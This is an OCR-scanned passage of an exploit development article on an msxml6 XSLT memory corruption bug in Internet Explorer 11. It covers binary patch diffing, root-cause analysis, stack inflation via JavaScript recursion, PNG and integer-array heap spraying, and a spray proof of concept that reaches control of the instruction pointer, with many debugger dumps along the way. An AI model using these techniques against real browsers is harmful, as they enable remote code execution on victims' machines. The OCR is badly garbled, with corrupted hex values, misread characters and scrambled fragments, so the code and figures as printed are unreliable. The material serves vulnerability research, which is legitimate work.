Engine::frame(). 


it was mentioned in the original 


he crashing memory address is equal to the 
located somewhere within the local 
Which means that, in this particular 


the crashing memory address depends exclusively on 


publication that slightly different 


code. Indeed, 


he following XSLT code would cause a 6-bytes misaligned memory access in 


Engine::stns(): 


<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
version="1.0"> 


<xsl 


:templat 


name="main_template" match="/"> 


<xsl:f 


</xsl: 


Llect="*"> 


or-each s 


<xsl:appl 


for-each> 


</xsl:template> 


ly-templates/> 


<xsl:template name="xxx_nonexistent" 
match="//xxx[position()=last()]" /> 
</xsl:stylesheet> 
However, a 6-bytes misaligned 


because it can only yield the 


All in all, 


0:005> dpp ecxt+6 L30 


04 
04 
04 
04 
04 
04 
04 
04 
04 
04 


==] 


2a8840 
2a8844 
2a8848 
2a884c 
2a8850 
2a8854 
2a8858 
2a885c 
2a8860 
2a8864 


0480a760 
O042abab8 
042a9484 
0269c684 
0269c66c 
048002b0 
0269c4a0 
0269c5c0 
00000000 
00000000 


715e31e8 
715e1754 
71619c7£ 
716044b8 
716044b8 
71i5edcf8 
0269c5c0 
0269c640 


pointer crash is not possible to control, 


null 


msxm1] 
msxm1] 
msxm1] 


page read: 


l6!Vector:: 


l6!SXPOQCompiler:: 


msxm1] 
msxm1] 
msxm1J 


6!XEngine:: 
L6!R1 
16!R1 
16!Name:: 


; it’s always null 


2.5 - Patch analysis and the root cause 


TEFNodeSet:: 
TEFNodeSet:: 
‘vftable’ 


stns 


‘vfitable’ 
‘vfitable’ 


‘vfitable’ 
‘vftable’ 


the vulnerability looks quite exploitable at this point. 


I decided to look at the exact root cause of the vulnerability in order 
to see if there might be any other ways to control it besides messing 

with the thread stack. May the pointer incrementing value be controlled? 
Or maybe, 
completely different input XSLT code? Becaus 
already patched, it’ 
cause investigation. 


any opportunities to trigger the vulnerabil 
the vul 


Ss possibl 


ity with a 


nerability is 


to leverage patch analysis for the root 


From binary diffing of the patch we can see that the crashing procedure 


Xx 


Engine::stns () 


was not even patched. Instead, 


the XI 


procedure was patched by completely removing the poi 
code: 


Engine: : frame () 
nter incrementing 
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* * 
Vulnerable code Patched code 
loc_726C60BF: loc_726C6BB6: 
mov eax, [esitOA0h] mov eax, [esit9Ch] 
mov ecx, [eaxt4] mov ecx, esi 
add ecx, esi - 
call dword ptr [eax] call dword ptr [eax] 
add [esit+t0OA0h], eax add [esit+t9Ch], eax 

* * 


But where exactly did the invalid incremental value originate from? 


Among few dozens of modified procedures in the patch, there is a bunch of 
XCodeGen class functions, all of them initializing the XCode fram 


.text:72733631 ; public: void __thiscall XCodeGen::brns(unsigned char *) 
.text:72733631 ?brns@XCodeGen@@QAEXPAE@Z proc near 


.text:7273363A xor esi, esi 

.text:7273363C mov edx, offset XEngine::brns (void) 
.text:72733641 mov [eax+4], esi ; the argument 
.text:72733644 mov [eax], edx ; the function address 


In the above code, two XCode frame slots are initialized: both the call 
pointer (set to the address of XEngine::brns() in this case) and the 
incremental value (set to zero). In fact, all functions of the XCodeGen 
class initialize the incremental value to zero. But then, in some cases 
the value becomes corrupted after the call to XCodeGen::ensureCapacity(): 


.text:726C6B93 ; public: void __thiscall XCodeGen::ch(class NavFilter *) 
.text:726C6B93 ?ch@XCodeGen@@QAEXPAVNavFilter@@@Z proc near 
.text:726C6B93 


-text:726C6B93 arg_O = dword ptr 8 

-text:726C6B93 

.text:726C6B93 mov edi, edi 

.text:726C6B95 push ebp 

- text: 726C6B96 mov ebp, esp 

-text:726C6B98 push ebx 

-text:726C6B99 push esi 

-text:726C6B9IA push edi 

- text: 726C6B9B push 10h 

.text:726C6B9D mov esi, ecx 

.text: 726C6B9F mov edi, offset XEngine::ch(void) 
.text:726C6BA4 xor ebx, ebx 

- text: 726C6BA6 call XCodeGen: :ensureCapacity (uint) 
.text:726C6BAB mov [eax], edi 

; ebx *should* be zero unless ensureCapacity() messes with it: 
.text:726C6BAD mov [eaxt4], ebx 


And the actual corruption takes place inside the 
ASTCodeGen: :xpathFunctionCode() function, which sets some bits of the 
incremental value with either mask 2 or 4 (or possibly, both): 


msxml6!ASTCodeGen: :xpathFunctionCodet+0x347: 


720abf20 5e pop esi 

720abf21 5b pop ebx 

720abf22 5d pop ebp 

720abf23 c20400 ret 4 

720abf26 8b4604 mov eax,dword ptr [esit+4] 
720abf29 8b4018 mov eax,dword ptr [eax+18h] 
7T20abf2c 83481002 or dword ptr [eaxt+10h],2 
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msxml6!ASTCodeGen: : xpathFunctionCodet0x1l2a: 
720ef0f6 83481004 
720ef0fa 8b4e04 
720ef0fd e80a000000 
720ef102 e918cefbff 


There is a jump table, 
bit-setting code branches: 


likely a 


or 
mov 
call 
jmp 


msxm1] 
msxm1] 


adword ptr 
ecx,dword ptr 
l6!XCodeGen::last 
16!ASTCodeGen: :xpathFunctionCodet+0x346 


case switch, 


[eaxt+10h],4 
[esit4] 


(720ef10c) 


that refers to both of the 


; DATA XREF: ASTCodeGen::xpathFunctionCode (FunctionCallNode *)+31r 


-text:72738022 of £_72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
.text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
.text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
.text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
.text:72738022 dd 
.text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 
-text:72738022 dd 


(e) 


COO0O0O0O0C0O0O0O0O0O0C0O0O0O0 000000 0 0 


un) 


fFset 
fFset 
fset 
Fset 
fFset 
fFset 
fFset 
fset 
fFset 
fset 
fFset 
fFset 
fFset 
fFset 
fFset 
fFset 
fFset 


Fy FH FH FA FH EFA EF FE Fm FH Fm EF Fh FH EFA FHS FR Fh Fh FH Fh Fhe Fh iF tt 


loc_7271C27D 
loc_7273731D 
loc_7273CD36 
loc_7273DB58 
loc_727373BF 
loc_726FD455 
loc_726FDDOC 
loc_72737FD8 
loc_7271C388 
loc_72737393 
loc_7273F9A6 
loc_72737FEF 
loc_726F95D7 
loc_727373BF 
loc_727373BF 
loc_727373C6 
loc_726FF1C8 
loc_7271C3D0 
loc_727373BF 
loc_726FADOA 
loc_7273E8DD 
loc_726FAF60 
loc_726FA10C 
loc_726F9CCB 
loc_726FCCEA 


By looking through other switch cases in the table we can confirm that 
none of them performs any other write operations with the memory location 


in question. Thus, 
three values: 2, 4, 
controllable. 

Next, because th 

e 


eliminated, 


rely upon corrupted val 
scope of the XEngine cl 


was already patched. 


and 6 


Lues. 


ass, 


investigation. 


Another opportunity that must be considered is, 


So, 


the pointer incremental value can only be set to the 
(2 OR 4), 


of which only the first case would be 


actual corrupting code 


th 


(the OR instruction) 


liminated by the patch, but rather, 


was not 


incrementing instruction was 
we have to assume that there might be other code paths which 


But the likeliness of this is low beyond the 


of which the main function X 
I dropped this opportunity as not worthy of 


Engine: :frame () 


if it might be possible to 


control the original values from which the crashing pointer was composed. 


But, 


pointers to local 


msxml6!XEngine::stns+0x6: 


6f6£9c85 8b5008 


0:007> dds ecxt+b0-2 


Od5c9f££0 
Od5c9ff£4 


0532af20 
0532b040 


0:005> u eip-30 130 


mov 


edx,dword ptr 


[eaxt8 ] 


in the debugging context it’s clear that the values are just 
variables and thus unlikely to be controlled directly: 
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msxml6!XEngine: :executetOxad: 
T1llc3d8c 8d45a4 lea eax, [ebp-5Ch] 


Tllc3d8f 8983a4000000 mov dword ptr [ebx+0A4h],eax 


As a side note, the patch analysis for this case would not have been 
possible without prior knowledge of the crash triggering input and the 
crash context, because the patched code is so far away from both the 
crashing code and the vulnerability root cause, while the volume of code 
modifications introduced by the patch is huge. 


--[{ 3 - The control 


At this point it’s clear that the only reasonable way to control the 
vulnerability is to inflate the stack so that the crashing pointer would 
fall into userland memory area that can possibly be controlled: 


msxml6!XEngine::stns+0x6: 
6f6£9c85 8b5008 mov edx,dword ptr [eaxt+8] ds:0023:b040053a=??7727???? 


0:007> u eip-6 

msxml6!XEngine::stns: 

6£6f9cT7T£E 8b81b0000000 mov eax, dword ptr [ecx+0B0h] 
6f6£9c85 8b5008 mov edx,dword ptr [eaxt8] 


0:007> dds ecxt+b0-2 
Od5c9ff0 0532af20 
Od5c9ff4 0532b040 


0:007> k 

ChildEBP RetAddr 

0532af18 6f6e60cc msxml6!XEngine::stns+0x6 
0532b038 6f6e60cc msxml6!XEngine::frame+0x84 
O0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84 
0532b168 6f£75ffb0 msxml6!XEngine: :executet+0x1b4 


Given the above listing, it would be nice to have the second 
XEngine::frame() call happening around e.g. 0x05320300, that would send 
the crashing pointer value 0x0300053a to XEngine::stns(), pointing to the 
heap. Which requires that, prior to the vulnerable procedure call, the 
thread must make function calls and stack frame allocations worth of 
approximately 42 kilobytes of stack memory and never pop them. 


--[ 3.1 - Inflating the stack 1: XSLT recursion 


The obvious way to inflate the stack is to generate a recursion on the 
stack, which should be possible with any dynamic technology available to 
the target application. My first idea was to use XSLT itself for this. 
Indeed, the following code, which is the classical Hanoi algorithm 
implementation in XSLT, will produce a massive recursion on the stack ( 
for the record, it might even DoS the browser with big enough Sn): 


<?xml version="1.0"?> 
<xsl:stylesheet version="1.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> 


<xsl:template match="/"> 
<xsl:variable name="n"> 

<xsl:value-of select="//arg/@n"/> 

</xsl:variable> 

<xsl:element name="hanoi-solve"> 


10.txt Wed Apr 26 09:43:48 2017 14 


<xsl:call-template name="dohanoi"> 
<xsl:with-param name="n" select="30"/> 
<xsl:with-param name="to" select="3"/> 
<xsl:with-param name="from" select="1"/> 
<xsl:with-param name="using" select="2"/> 
</xsl:call-template> 
</xsl:element> 
</xsl:template> 


<xsl:template name="dohanoi"> 
<xsl:param name="n"/> 
<xsl:param name="to"/> 
<xsl:param name="from"/> 
<xsl:param name="using"/> 
<xsl:if test="number(S$n) &gt; O"> 


<xsl:call-template name="dohanoi"> 
<xsl:with-param name="n" select="number ($n) - 1"/> 
<xsl:with-param name="to" select="Susing"/> 
<xsl:with-param name="from" select="S$from"/> 
<xsl:with-param name="using" select="Sto"/> 
</xsl:call-template> 


<xsl:element name="move"> 
<xsl:attribute name="from"> 

<xsl:value-of select="S$from"/> 
</xsl:attribute> 
<xsl:attribute name="to"> 

<xsl:value-of select="Sto"/> 
</xsl:attribute> 
</xsl:element> 


<xsl:call-template name="dohanoi"> 
<xsl:with-param name="n" select="number (Sn) - 1"/> 
<xsl:with-param name="to" select="Sto"/> 
<xsl:with-param name="from" select="Susing"/> 
<xsl:with-param name="using" select="Sfrom"/> 
</xsl:call-template> 


<xsl:for ach select="*"> 
<xsl:apply-templates/> 
</xsl:for-each> 


</xsl:if> 
</xsl:template> 


<xsl:template name="xxx_nonexistent" match="//xxx[position()]" /> 


</xsl:stylesheet> 


Sadly, the XSLT-based recursion inflates the stack above and not below the 
crashing pointer sources stack frame, and thus the recursion does not 
affect the crashing context at all: 


ChildEBP RetAddr 


O0ed783e8 711b60cc msxml6!XEngine::stns 
0ed78588 711b60cc msxml6!XEngine::frame+0x84 
0ed78728 711b60cc msxml6!XEngine: :frame+0x84 
Oed788c8 711b60cc msxml6!XEngine: :frame+0x84 
Oed78a68 711b60cc msxml6!XEngine: :frame+0x84 
Oed78c08 711b60cc msxml6!XEngine: :frame+0x84 
Oed78da8 711b60cc msxml6!XEngine: :frame+0x84 
; skipped many frame()’s 

Oed7b5e8 msxml6!XEngine::framet+0x84 

: > the vulnerable stack frame <-- 
Oed7b668 711c3e2d msxml6!XEngine: :frame+0x84 
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Oed7b710 7122ffb0 msxml6!XEngine: :execute+0x1lb4 
Oed7b76c 7122fee3 msxml6!XUtility: :executexXCode+0x90 
Oed7b7cO 7122fe2b msxml6!XUtility: :transformNode+0x4a 
Oed7b82c 7122fda2 msxm16!DOMNode: :transformNode+0xa6 


--[ 3.2 - Inflating the stack 2: JavaScript recursion 


After the fail with XSLT recursion I turned back to JavaScript. The 
following simple factorial implementation will produce a massive 
recursion on the stack: 


function factorial(n) { 
if(n == 0) { 
trigger(); 
return 1 
} else { 
return n * factorial(n - 1); 
} 
} 


<body onload="factorial (63) "> 


The vulnerability must be triggered from within the recursive code in 
order to enjoy the inflated stack situation: 


msxml6!XEngine::stns+0x6: 
71l1lc9c85 mov edx,dword ptr [eaxt+8] ds:0023:03a004ca=???27???? 


0:005> !address eax 


Usage: PageHeap 

Base Address: 03961000 

End Address: 03a60000 

Region Size: O00ff000 

State: 00002000 MEM_RESERVE 
Protect: <info not present at the target> 
Type: 00020000 MEM_PRIVATE 
Allocation Base: 03960000 

Allocation Protect: 00000001 PAGE_NOACCESS 
More info: ‘heap -p 0x3541000 

More info: ‘heap -p -a 0x3a004c2 


0:005> !heap 


Index Address Name Debugging options enabled 
ae 016a0000 

2 015e0000 

3 00010000 

4: 019£0000 

5: 03720000 < landed here 
6: 06470000 

7 06900000 

8: 06cd0000 

98 07cb0000 
10: 07dd0000 
Ll 09380000 
1.2.8 07d60000 
1:33 0c500000 
14: 0c670000 


V5 0cd30000 


This time a valid userland address was accessed, 


and the access violation 
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was caused merely by the lack of a busy allocation on the address. 


According to the observations made across multiple tests, the thread 
stack will always start slightly below the edge of the memory page: 


test 1: 
0532fbbc 00000000 ntdll!_RtlUserThreadStart+0xlb 
test 2: 
04da7£d34 00000000 ntdll!_RtlUserThreadStart+0xlb 
test 3: 
O4a5ffd8 00000000 ntdll!_RtlUserThreadStart+0xlb 
test 4: 
O55bfe80 00000000 ntdll!_RtlUserThreadStart+0xlb 


More precisely, the exact address of the beginning of the stack is 
variable within the range of roughly 0x600 bytes, and so are the pointers 
to stack-based variables; thus, the crashing pointer would be variable by 
0x06000000 on x86 systems, which means that the initial invalid memory 
access would be observed at a random memory address within a 100 Mb 
memory range. 


At this point we have two separate problems: first, to quickly fill at 
least 200-300 Mb of memory with controlled data (100 Mb required to catch 
the initial memory access, plus the room for secondary pointer 
dereference padding, plus some compensation for the allocation addresses 
variability), and second, to direct the crashing pointer into a specific 
region of that memory. 


Note that, although heap spraying is considered a bad practice for a good 
reason, and that it’s highly constrained if not impossible on 64bit 
systems with 128G of memory space to fill, but the nature of our 
vulnerability does not allow for an alternative approach. So, let’s just 
take it as an exercise in the artful dealing with whatever is. 


--[ 3.4 - Filling the memory 1: images 


Because the memory region that must be controlled is rather big, my 
initial idea was to utilize some pre-calculated big objects for filling 
it, such as images. The core of the idea is that, every piece of data 
that can be consumed and processed by the target application (e.g. output 
or rendered) has its place and a representation in the target process 
memory. Thinking like that we don’t get caught in stereotypical terms of 
‘heap spraying’ and the specific techniques associated with it, many of 
which are already mitigated in browsers. 


The idea of using graphical images in vulnerability development is not 
new. It was first introduced in 2006 by Sutton et al.[3], whose research 
focused mainly on the aesthetics of shellcode steganography in images 
rather than solving of any problems of heap spraying (as there were non 
at that time). Later, a few researchers revisited the same idea in the 
context of heap spraying, but it has never found a real application, 
mainly because bitmaps (as the only format capable of incorporating a 
byte pattern ’as is’) are huge and can only be shrinked with the help of 
server-side measures, while using other image formats for memory control 
purposes is burdened with calculation problems of recompression. 


Apart from the server-side GZIP compression, another solution that’s never 
publicly noted is PNG. The PNG compression is very simple and does not 
affect the bitmap structure at large. As a result, a 2Mb BMP image 
containing a simple 1-byte pattern can be converted into a ~500 bytes PNG 
image, that will be decompressed back into the original bitmap in the 
rendering process memory. 


There are two problems however: 
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1. The more variable is the source bitmap pattern, the bigger is the 
resulting PNG image; a natural limitation of any compression. 


2. The decompressed PNG has extra bytes in the bitmap data, injected after 
every 3 bytes of the original bitmap. It’s probably a transparency channel 
or some other data specific to the PNG format. 


The good news: 
1. At the point when the PNG image is loaded and decompressed by the 


browser but is not yet displayed on the web page, the bitmap data in the 
process memory fully corresponds to the source BMP. 


2. A large image is mapped into a comparably large and continuous chunk of 
memory, located at a somewhat predictable memory offset. 


The PNG spraying technique proved to be not suitable for this particular 

case because a highly variable memory padding pattern would be required, 

and so the images would have to be too big anyway. However it still looks 
like an interesting technique for rapid filling of huge memory areas with 
a simple byte pattern. 


--[ 3.5 - Filling the memory 2: integers 


After testing various memory filling techniques, I’ve finally settled on 
integer arrays. The following JavaScript code will quickly fill 400Mb of 
the memory of Internet Explorer 11 with a continuous constant-dword spray: 


var intArr = new Array; 
var count = (0x19000000-0x20) /4; 
intArr[0] OxO0lcOffee; // marker // s 0 1780000000 ee ff£ cO OL 


for(var i=l; i<=count; itt) 
intArr[i] = 0x17151715; 
alert (’done’); 


It’s curious to note that varying the values in the spraying loop may 
sometimes result in an internal exception in IE, e.g. when trying to fill 
more than 400 Mb of the browser memory, or using an ’AAAA’ integer 
equivalent for the filling. This looks like a protection from heap 
spraying, but it does not pose a major obstacle to the task. 


The resulting memory filling is distributed across two big and continuous 
allocations as follows: 


0:028> s 0 1780000000 ee FF cO Ol 


0531b4f0 ee ff cO O01 £8 ff FF F£F-00 00 00 O00 O00 O00 0D OD 
; just the marker dword, not relevant 


O8391860. -ee ££ GO OT 15. 47 15-17-15 27 15.497 VSP TS AD asetaeewdte do 
; a <0x200 bytes chunk, not relevant 

OSsdd008: (6e FE acO:. OF Pa) 15. Lat SE Ss I Se TT Ss tee eerie 84,88 
; a <0x10 bytes chunk, not relevant 

O8S5de571O. ieectt <0 04. 15. 19" 2S LIPS: AY hoe Be 1 ST? epee te eis ees. 
; a <0x200 bytes chunk, not relevant 

t2dasals. ee £6 sc: 01 -e3 ££ -c0, Ol=ce- ff ¢3: 01-68. Ef vce OL shew acon wdc 
; vandom garbage 

Z2e540020» “ee: ££ COOd 15-07 2S 27-25) 1 VS PT TS a ES OT Sei a hea 
; the array, part 1 

3eec0Q020: ee ££ .c0 00. 25.27 15 17-15 127-9517 15 17 15 17 


; the array, part 2 


The first allocation looks like simply unfinished, stopped around 300Mb, 
while the second allocation is full, and both of them are contiguous: 
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0:028> s 0 1780000000 ee ff cO 


2c540020 
3eec0020 


ee ff cO 01 15 17 15 
ee ff cO 01 15 17 15 


0:028> 2? 3eec0020-2c540020 


O1 


L7-15. LF 1S 7 15 
LT-15- 17 15. L725 


17 15 17 
Ly 15: L7 


2nd allocations 


Evaluate expression: 311951360 = 12980000 

0:028> db 2c540020+12980000-30 

; this is the borderline between the lst and the 

3eebfffO 00 00 00 00 00 00 O00 00-00 00 00 00 00 00 00 O00 
3eec0000 00 00 00 00 90 c4 fb 1e-00 00 00 00 00 00 00 OOD 
3eec0010 00 00 00 00 £9 ff 3f 06-20 f1 be O07 00 00 OOD O00 
3eecQ020' ee ££ -cO OL 15.247 125 17-15-17 15 17 5. 27 15 17 
Seec0030. 25.7 sh Se ey a5: a 2S. edb) A AS a Ss S17 
3eecQ.040). VS 17 Loe 17 Vb PP Lb. 1 7HT be LS, Ae a. TP ES. 7 
3e660.050 d5- 27 15s abe A ae ab: Tae SL) Ss Te 7 
3eec0060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 
0:028> db 2c540020+12000000 

; end of the lst allocation is somewhere in between sizes 
; 12000000 and 12980000 

3E540020 31:5 27 25 eS AY LS OL 7b La eS. BAS EP OTS OL 
36540030). 25 17 2S Le TS. Le 1S 7S Ee ES. ae PSS 17 
3e540040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 
36540050" 25-27 Sp £5 ie TS L7H 5- de Se PS A 5 
3e540060. 15°17) 15 127 15°) 15 17-15 17% 15 27% 15-27 15°17 
3e540070 215 17 25°27 25 127 15 L7-t5S 27 15.12 15-17 15 17 
3e540080 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 
36540090 25 T7515 27 tb oe 15-17-tS. 17 1S 7 LS 

;the second allocation: 

0:028> db 3eec0020+19000000 

; pointers after the end of the allocation 

57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0070 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0080 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0090 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
0:028> db 3eec0020+19000000-30 

; end of the second allocation 

STEDFELO! “Ab See aby: ACE a SL ee NS ee Seals 5 a7 
57ec0000 15 17 15 17 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0010 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 
57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 


Considering the addressing predictability of the allocations, 


observations can be made across multiple tests: 


1. Both allocations are aligned by 16 pages, 


full 


page heap setting enabled 


two 


added 0x20 bytes header with 
(or 0x8 with the default setting). 


2. The memory addresses of both allocations are highly predictable. 


In fact, the addresses of the two allocations would vary across the tests 
which is not significant in 
terms of a 0x19’000’000+0x12’000’000 nearly continuous controlled memory 


by ‘just’ 


space: 


approximately 0x1’000’000 bytes, 
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; windbg script log edited for readability 

; produced by re-launching the app and recording the same allocations 
; shows the addresses of the two intarray allocations 

Opened log file ’c:\users\user\desktop\windbg.log’ 

0x27£30020 
0x3a8b0020 
Opened log file ’c:\users\user\desktop\windbg. log’ 
0x283£0020 
0x3ad70020 
Opened log file ’c:\users\user\desktop\windbg.log’ 
0x27ea0020 
0x3a820020 
Opened log file ’c:\users\user\desktop\windbg.log’ 
0x28530020 
Ox3aeb0020 
Opened log file ’c:\users\user\desktop\windbg. log’ 
0x284e0020 
0x3ae60020 
Opened log file ’c:\users\user\desktop\windbg. log’ 
0x28aa0020 
0x3b420020 
Opened log file ’c:\users\user\desktop\windbg.1log’ 
0x28e60020 
0x3b7e0020 
Opened log file ’c:\users\user\desktop\windbg.log’ 
0x28440020 
0x3adc0020 
Opened log file ’c:\users\user\desktop\windbg.log’ 
0x28560020 
Ox3aee0020 
Opened log file ’c:\users\user\desktop\windbg. log’ 
0x28480020 
0x3ae00020 
Opened log file ’c:\users\user\desktop\windbg.log’ 
0x28a00020 

0x3b380020 


Without researching the exact reasons of the highly predictable memory 
allocations, it seems logical if not inevitable that, the bigger the 
allocation, the more predictable its address would be on x86 systems 
because of the memory space limitation. This speculation is totally 
confirmed by observations with various allocation sizes. 


Considering the reliability risks of the allocations disposition in the 
memory, th xpected memory map will likely change in the following 
Situations: 


1. Additional modules loaded by the browser, such as a BHO or an Activex. 
This factor cannot possibly be remote-controlled. On the other hand, the 

average size of an executable module is insignificant in terms of a 400Mb 
controlled memory allocation, so it shouldn’t distort th xpected memory 
map too much. 


2. Additional web content processed in the same tab (images loaded, 
JavaScript executed etc.), that would change the stack situation. Because 
each IE tab is loaded in a separate process, this factor can be totally 
controlled by the vulnerable web pag 


= 


3. Microsoft changes IE internals. Not possible to control. 


4. Full page heap setting enabled or disabled. The full page heap setting 
changes th ntire memory layout significantly enough that the 
vulnerability control code must be fine-tuned with this regard 
specifically. 


All in all, at that point the memory landing space looks safe enough to 
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be addressed. 


-—-[ 3.6 -— Recursion control 


Having the control over the continuous region of memory in the range 
[0x28000000,0x57000000], it would probably be the safest to direct the 
crashing pointer in the middle of the range, e.g. around 0x47000000. To 
achieve this, the JavaScript recursion count must be specifically 
calculated to reach the crashing procedure around the stack offset of 
Ox...4700. 


The size of one JavaScript recursion frame in Internet Explorer 11 is 
0x320, each frame corresponding to one cycle of the factorial algorithm: 


; JavaScript factorial algorithm recursion on the stack 
0529b0d4 jscript9!Js::InterpreterStackFrame::InterpreterT 
0529b0e0 Ox86c0fd9 
0529b428 Jjscript9!Js::InterpreterStackFrame: :Process+0xbd7 
0529b544 Jjscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0xle8 
052965550 Ox86c0fd9 
05296898 Jjscript9!Js::InterpreterStackFrame: :Process+0xbd7 
0529b9b4 Jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0xle8 
0529b9c0 Ox86c0fd9 


hunk<1>+0xle8 


Provided that the vulnerable browser will crash randomly around the stack 
offsets O0x...ac00 to Ox...b300, the stack must be inflated by 

0xb650 (+-0x350) -0x4700=0x6£50 (+-0x350) bytes, which requires 
(0x6£50+-0x350) /0x320=35+-1 cycles of recursion, or the call to 
factorial(35). Indeed, testing this would cause an access violation 
around the desired address: 


(268.2a4): Access violation - code c0000005 (first chance) 

First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 

eax=489019b1 ebx=1a819ff0 ecx=1a819f42 edx=6f6e4430 esi=1a819f40 
edi=19b14770 eip=6f6f9c85 esp=19b1476c ebp=19b14888 iopl=0 

nv up ei pl nz na pe nc 
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010206 
msxml6!XEngine::stns+0x6: 

6f6£9c85 mov edx,dword ptr [eaxt+8] ds:0023:489019b9=?777?2??? 


--[ 3.7 - Program counter control 


According to the vulnerable XCod xecution logic, the address of the 
dynamic call in XEngine::brns() is retrieved via thr consecutiv 
dereferences from the crashing pointer: 


msxml6!XEngine::stns: 


6f6f9c7£ mov eax, dword ptr [ecx+OBOh] ; retrieved ptr0O (eax) 
6f6£9c85 mov edx,dword ptr [eaxt+8] ; ptrO -> crash / ptrl (edx) 
6f6f9c88 push esi 

6f6f£9c89 lea esi, [edx+0Ch] 

6f6f9c8cC mov dword ptr [eax+8],esi 

6f6f9c8F mov eax, dword ptr [edxt+4] ; ptrl -> ptr2 (eax) 
6f6f9c92 push 8 

6£6£9c94 mov dword ptr [ecx+0A4h],eax ; store ptr2 

6f6f9c9a pop eax 

6f6f9c9b pop esi 

6f6f9c9Ic ret 

msxml6!XEngine::brns: 

712da250 mov’ edi,edi 
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712da252 push esi 

712da253 mov esi,ecx 

712da255 mov ecx,dword ptr [esi+0A4h];restore ptr2 (2 bytes randomized) 
71i2da25b mov eax,dword ptr [ecx] ; ptr2 -> ptr3 (eax) 

712da25d call dword ptr [eax] ; ptr3 -> shellcode 


Thus, the landing memory contents at ptr0O must satisfy the following 
dereference logic: 


PtrO (initial AV / address in the spray ) -> 
ptrl -> ptr2 -> ptr3 -> shellcode 


In the above chain of pointers, pointers 1 and 3 are precise, as they are 
read from the memory padding; but pointer 0 is random within a 100Mb 
range due to the nature of the bug, and pointer 2 is only page-precise 
due to the 2-byte memory alignment differences in the procedures wher 

the pointer is stored and then restored. 


Thanks to the randomized memory access only on the Oth and the 2nd 
pointers, two split memory areas are required to contain the entire 
dereference chain, one part (and the first dereferenced) containing the 
pointers to the second part, the second part containing the pointers to 
the shellcode, and the presize addresses treated specifically: 


function poc() 
{ 
// !!! t+thpa required !!! 
// be msxml6!xengine::stns; bp msxml6!xengine::brns; g; 


var intArr = new Array; 
intArr[0] = Ox0lcOffee; // marker // s 0 1280000000 ee ff cO O1 


var count (0x19000000-0x20)/4; // 400 Mb 
for(var i=l; i<=count; itt) 
{ 

// partl: ptrO/ptrl read 

if ( i<(0x12000000/4) ) 

{ 


if ( ((i*4+0x%20) &OxfffL) == (Ox3c3ct4) ) //if it’s a ptrl read 
intArr[i] = 0x54545454; // then yield ptr2 

else 
intArr[i] = 0x3c3c3c3c; // otherwise, ptrl 


} 
// part2: ptr2 read 
else 
intArr[i] = Ox00baddle; // ptr3 -> shell code 
} 


crash(); 


The numerical values in the script were chosen empirically with the full 
page heap enabled; tweak them if anything doesn’t work. 


And the result should be: 

(ddc.f£28): Access violation - code c0000005 (first chance) 

First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 

eax=O00baddle ebx=11f71ff0 ecx=5454492c edx=5454492c esi=11f£71£40 
edi=04ef4740 eip=6f6fa25d esp=04ef4738 ebp=04ef4858 iopl=0 
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nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b 


gs=0000 ef1=00210202 
msxml6!XEngine: :brns+0xd: 
6f6fa25d ff10 call dword ptr [eax] ds:0023:00baddle=???2????? 


[ 4 The self-patch 


The next section will discuss the possible useful application of the 
gained control over the vulnerability without any shell code execution: 
self-patching of the vulnerable process. 


--{ 4.1 - A leak without a leak 


Unlike many memory corruption vulnerabilities, this particular one does 
not allow for an arbitrary memory write that could be used to leak some 
information allowing to bypass DEP and ASLR and to execute arbitrary code 
within the IE sandbox. But the nature of the vulnerability would still 
allow for a small and limited information leak, which can be used to 
restore the memory values, required to continue the normal execution ( 


CoE) of the vulnerable application. 


Specifically, because the crashing pointer contains the upper word of the 
stack offset in its lower part due to the misaligned memory read, and the 
controlled memory space is page-aligned, it is possible to ’leak’ part of 
the stack address by translating the accessed memory address into the 
value read from that address with the help of the carefully calculated 
memory padding. 


There are a few key points to understand about our precisely patterned 
padding. 


1. We start with the idea that each dword in the spray must contain the 
value of its own offset to the page. Page-size patterning is enough 
because we only want to leak about 2 bytes of the stack address. 


2. Next, we calculate all pattern values based on the spray loop counter 
as follows: i_pattern = i*4%0x1000; 


3. We ensure that the aligned spray will as well align in memory by 
allocating a big enough continuous chunk of memory. Big memory 
allocations tend to be 16-pages aligned, i.e. starting with an address 
like OxXYZQ0000 (see also windbg.log above), which looks like a sane 
memory optimization strategy with the 

heap manager. 


4. Next, because the padding must resolve two consecutive memory 
